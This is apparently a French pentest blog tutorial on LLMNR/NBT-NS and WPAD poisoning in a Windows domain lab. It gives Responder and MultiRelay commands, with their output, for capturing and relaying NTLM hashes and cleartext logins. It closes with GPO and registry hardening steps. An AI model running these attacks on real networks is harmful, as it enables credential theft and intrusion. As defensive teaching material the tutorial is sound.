Petit billet sur le hacking du protocol LLMNR souvent ignoré et pourtant tellement bavard, Enjoy. (Fonctionne uniquement en contexte de domaine)
Le LLMNR (Link-Local Multicast Name Resolution) a été utilisé la première fois avec Windows Vista, il est l'évolution de NetBIOS-NS. Lorsque la résolution DNS échoue il demande à toutes les autres machines de son réseau (broadcast) la bonne adresse.
LLMNR & SMB
Lorsque vous tentez d'accéder un partage, windows envoi votre login avec lequel vous êtes connecté (username + hash NTLM) vers le serveur, si le compte n'est pas connu du serveur vous aurez une erreur vous demandant de renseigner le bon login.
Le principe de l'attaque est d'écouter le réseau, si un utilisateur essaie de se connecter à un partage sur un hostname non connu, une requête sera faite en broadcast, l'attaquant pourra se faire passer pour le hostname en répondant à la victime et lui envoyant le challenge d'authentification pour récupérer le hash NTLM.
Proof Of concept
Prérequis de l'attaque
- LLMNR ou Netbios sur le réseau
- Faute de l'utilisateur (Partage inconnu, faute de frappe, ..)
Vérifier que du LLMNR / Netbios transite sur le réseau
responder -A -I eth0
[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[+] Listening for events...
[Analyze mode: LLMNR] Request by 192.168.1.4 for wpad, ignoring
[Analyze mode: NBT-NS] Request by 192.168.1.4 for WPAD, ignoring
[Analyze mode: LLMNR] Request by 192.168.1.4 for wpad, ignoring
[Analyze mode: NBT-NS] Request by 192.168.1.4 for WPAD, ignoring
[Analyze mode: NBT-NS] Request by 192.168.1.4 for WPAD, ignoring
[Analyze mode: LLMNR] Request by 192.168.1.29 for SHAIRE1, ignoring
[Analyze mode: NBT-NS] Request by 192.168.1.29 for SHAIRE1, ignoring
[Analyze mode: MDNS] Request by 192.168.1.29 for SHAIRE1.local, ignoring
Lancer l'attaque d'usurpation SMB (vol de hash NTLM)
responder -I eth0
[*] [LLMNR] Poisoned answer sent to 192.168.1.29 for name SHAIRE1
[*] [MDNS] Poisoned answer sent to 192.168.1.29 for name SHAIRE1.local
[SMBv2] NTLMv2-SSP Client : 192.168.1.29
[SMBv2] NTLMv2-SSP Username : LABS\michu
[SMBv2] NTLMv2-SSP Hash : michu::LABS:a7023e43a1ed1234:293D93EF2E6E300ABEA412480BCE9480:0101000000000000C0653150DE09D20197C3B26DD6197FCD000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000008B3326C73FCB5D1910925D092C793DA159E0D667894E8F685D8ECC8617443B6A0A001000000000000000000000000000000000000900180063006900660073002F005300480041004900520045003100000000000000000000000000
L'attaquant possède désormais le HASH de Labs\Michu et peut tenter un bruteforce ou une attaque relayNTLM ou Pass the hash
Le hash NTLMv2 est utilisé pour l'authentification et peut être relayé ou bruteforcé seulement. Seul le hash NT peut-être utilisé dans une attaque pass-the-hash
LLMNR & Relay NTLM (SMB)
L'attaque via relay NTLM permet de relayer l'authentification d'un client afin de gagner l'accès à un un serveur ou un ordinateur.
La réussite de l'attaque dépent de plusieurs facteurs
- Smbv1 pour l'utilisation de NTLMv1 (Activé sur le serveur cible et la victime de spoofing)
- LM / NTLM authorisé sur le serveur et le client spoofé
- Négociation des protocoles d'authentifications entre client / serveur
- Droit de l'utilisateur spoofé sur le serveur cible
Heureusement Microsoft a pensé à sécuriser cela grâce à la signature SMB qui vérifie la vrai origine de la demande. Oh ... Wait ! on me dit que par défaut la vérification de la signature SMB n'est pas activé ! (Sauf sur un contrôleur de domaine)
Par défaut les configurations pour l'authentification LM/NTLM et la négociation sont modifiables mais activés (pour la compatibilité anciens systèmes)
Proof Of concept
Prérequis de l'attaque
- Signature SMB désactivé sur le serveur cible
- SMBv1 activé sur le client à duper (Utilisant le NTLMv1)
- NTLMv1 Activé sur le poste
- Négociation possible du NTLMv1
- Négociation possible du SBMv1
Reconnaissance d'hôte vulnérable au relayNTLM
nmap 192.168.1.0/24 -p 137,139,445 --script smb-security-mode
192.168.1.25 2016APP
PORT STATE SERVICE
137/tcp closed netbios-ns
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:65:05:DE (Oracle VirtualBox virtual NIC)
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
192.168.1.27 AD2016
PORT STATE SERVICE
137/tcp filtered netbios-ns
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:92:69:2F (VMware)
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
Ecoute du réseau pour la redirection
#Desactiver les service HTTP & SMB pour responder
vim /etc/responder/Responder.conf
; Servers to start
SQL = On
SMB = Off #Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off #Off
HTTPS = On
DNS = On
LDAP = On
#Lancer responder
responder -rv -I eth0
[+] Listening for events...
[*] [MDNS] Poisoned answer sent to 192.168.1.29 for name SHAIRE1.local
[*] [MDNS] Poisoned answer sent to 192.168.1.29 for name SHAIRE1.local
Préparer le RelayNTLM
/usr/share/responder/tools/MultiRelay.py -t 192.168.1.25 -u ALL
Relaying credentials for these users:
['ALL']
Retrieving information for 192.168.1.25...
SMB signing: False
Os version: 'Windows Server 2016 Datacenter 14393'
Hostname: '2016APP'
Part of the 'LABS' domain
Lorsqu'un client essaye de se connecter sur un partage inexistant
L'utilisateur Michu est administrateur local sur le serveur APP2016 (Droit d'écriture sur le C$)
Dans le cas ou l'utilisateur relayé n'a pas de droit sur le serveur l'attaque echouera
Relaying credentials for these users:
['ALL']
Retrieving information for 192.168.1.25...
SMB signing: False
Os version: 'Windows Server 2016 Datacenter 14393'
Hostname: '2016APP'
Part of the 'LABS' domain
[+] Setting up SMB relay with SMB challenge: 14f97f64ab37a69a
[+] Received NTLMv2 hash from: 192.168.1.29 False
[+] Username: michu is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.
[+] Hashes were saved anyways in Responder/logs/ folder.
LLMNR et WPAD
Le protocole WPAD permet de localiser le fichier PAC (Le fichier PAC définit les serveurs proxy qu'un navigateur doit utiliser pour différentes URL). Si le navigateur est configuré pour utilisé les paramètres proxy du système automatiquement, le LLMNR sera appelé à l'ouverture du navigateur en tentant de résoudre le hostname "wpad"
Le principe est le même que pour la capture / relay NTLM mais avec du LLMNR envoyé à l'ouverture du navigateur
Fonctionnement de WPAD
- Si le WPAD est diffusé par DHCP, le client extrait le wpad.dat du serveur DHCP (Si succès, passage à l'etape 4)
- Requête DNS pour wpad.domaine.com (Si succès, passage à l'étape 4)
- Requête LLMNR envoyée pour WPAD (Si succès, passage à l'étape 4, sinon echec)
- Télécharger wpad.dat et l'utiliser
Proof Of Concept
Prérequis de l'attaque
- LLMNR / Netbios sur le réseau
- WPAD configuré sur les navigateurs (par DHCP)
Vol de hash par WPAD & LLMNR/NBT
Lancer l'écoute LLMNR et le Rogue WPAD
#Configurer responder
; Servers to start
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On #Activer
HTTPS = On
DNS = On
LDAP = On
#Lancez la capture / Rogue WPAD
responder -rvw -I eth0
Dans le cas ou un utilisateur essaye d'accéder à une URL non connu LLMNR rentrera en jeu et le hash sera capturé
Vol de login en clair
Il est aussi possible de de rediriger vers une authentification NTLM/basic pour récupérer les logins en clair ( ! Non transparant pour la victime ! )
#Activer HTTP sur responder
vim /etc/responder/Responder.conf
; Servers to start
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On #Activer
HTTPS = On
DNS = On
LDAP = On
#Lancer responder en redirection basic
responder -rvwFPb -I eth0
Lorsqu'un client essayera de se connecter à une URL non connu, une authentification basic auth popera et les identifiants entrés seront retransmis en clair à l'attaquant.
Contre Mesure et Hardening
Hardening réseau
Désactiver Netbios & LLMNR
- Sur chaque poste depuis la configuration de carte réseau
- En GPO domaine
Ordinateur -> Modèle d'administration -> Réseau -> Client DNS -> Desactiver llmnr
- A la main (En registre)
REG ADD “HKLM\Software\policies\Microsoft\Windows NT\DNSClient\
REG ADD ” HKLM\Software\policies\Microsoft\Windows NT\DNSClient” /v ” EnableMulticast” /t REG_DWORD /d “0” /f
Hardening d'authentification
Envoyer uniquement une réponse NTLMv2 Refuser LM et NTLM
Attention aux vieux équipements & imprimantes ! (Uniquement pour les serveurs peut suffire)
- En GPO Domaine
Ordinateur - Stratégies - Param windows - Param sécurité - Options sécurité - Sécurité Réseau: Niveau d'authentification LAN Manager
Désactiver la négociation (le client ne négocie pas la signature)
- En GPO Domaine
Ordinateur -> Paramètres Windows -> Paramètres de sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (Lorsque le serveur l'accepte) Désactiver
Forcer la communication SMB signé (toujours)
- En GPO Domaine
Ordinateur -> Paramètres Windows -> Paramètres de sécurité -> stratégie locales -> Options de sécurité -> Client réseau microsoft (signé toujours numériquement) Activer
Hardening WPAD
Enregistrement DNS vers l'IP du serveur proxy contenant le wpad.pac/proxy.pac
Quelques liens utiles :
https://notsosecure.com/pwning-with-responder-a-pentester-guide